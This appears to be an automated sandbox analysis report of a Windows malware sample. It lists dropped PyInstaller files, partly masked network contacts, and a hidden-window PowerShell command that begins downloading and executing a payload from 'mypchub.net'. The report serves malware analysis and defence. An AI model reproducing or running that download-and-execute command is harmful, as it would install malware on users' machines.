Technical Information
Malicious functions
Downloads and executes
- $url as %temp%\ðâðâ§krðâ©tðð6eip6ðòðñl9ðððâµbðâ¤.exe
Modifies file system
Creates the following files
- %TEMP%\_mei43322\vcruntime140.dll
- %TEMP%\_mei43322\_bz2.pyd
- %TEMP%\_mei43322\_ctypes.pyd
- %TEMP%\_mei43322\_decimal.pyd
- %TEMP%\_mei43322\_hashlib.pyd
- %TEMP%\_mei43322\_lzma.pyd
- %TEMP%\_mei43322\_socket.pyd
- %TEMP%\_mei43322\base_library.zip
- %TEMP%\_mei43322\libcrypto-3.dll
- %TEMP%\_mei43322\libffi-8.dll
- %TEMP%\_mei43322\myicon.ico
- %TEMP%\_mei43322\python313.dll
- %TEMP%\_mei43322\select.pyd
- %TEMP%\_mei43322\unicodedata.pyd
- %TEMP%\luxetkbr
Network activity
Connects to
- 'my##hub.net':443
- 'x1.#.lencr.org':80
- 'as####u9er.online':443
- 'gs###les.site':443
TCP
HTTP GET requests
- http://x1.#.lencr.org/
Other
- 'as###ggrt.store':443
- 'gs###les.site':443
UDP
- DNS ASK my##hub.net
- DNS ASK x1.#.lencr.org
- DNS ASK as###ggrt.store
- DNS ASK as####u9er.online
- DNS ASK gs###les.site
Miscellaneous
Restarts the analyzed sample
Executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nop -c " [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; $urls = @(\"https://mypchub.net/PC-Install\"); foreach ($url in $urls) { ...' (with hidden window)
